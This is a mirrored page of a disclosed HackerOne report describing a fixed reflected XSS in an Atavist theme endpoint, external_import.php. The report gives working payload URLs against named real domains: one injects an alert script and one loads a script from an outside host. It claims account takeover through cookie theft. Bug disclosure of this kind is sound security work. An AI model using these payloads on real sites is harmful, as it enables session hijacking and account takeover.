Skip to content
XSS Disclosed report Beginner

Reflected XSS on a Atavist theme at external_import.php

bugra Follow

Originally disclosed on HackerOne

  • Triaged in 23 hours
  • Fixed in 8 days
  • Paid in 8 days
  • Disclosed after 2 months

Summary:

Hi team, I found this php file https://magazine.atavist.com/static/external_import.php , and there is a parameter called scripts on this php file. Basically, the endpoint prints value of scripts parameter to <script src='$Value'>. So we can import any script file like that : https://magazine.atavist.com/static/external_import.php?scripts=//15.rs Or we can write HTML tags too, there is no encoding : https://magazine.atavist.com/static/external_import.php?scripts=%27%3E%3C/script%3E%3Cscript%3Ealert(1)%3C/script%3E

This endpoint is also available on other websites. Like : https://docs.atavist.com/static/external_import.php?scripts=%27%3E%3C/script%3E%3Cscript%3Ealert(1)%3C/script%3E http://www.377union.com/static/external_import.php?scripts=%27%3E%3C/script%3E%3Cscript%3Ealert(1)%3C/script%3E

Also there is no secure flag on the session cookie (periodicSessionatavist). So this XSS leads to account takeover.

Impact

Reflected XSS - account takeover via cookie stealing

Thanks, Bugra

The original report as published on HackerOne, by bugra. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A high-severity XSS bug in Automattic. HackerOne made it public on 18 November 2020.

About XSS

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by bugra

View all

21 more disclosed reports, best first.

More from Automattic

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.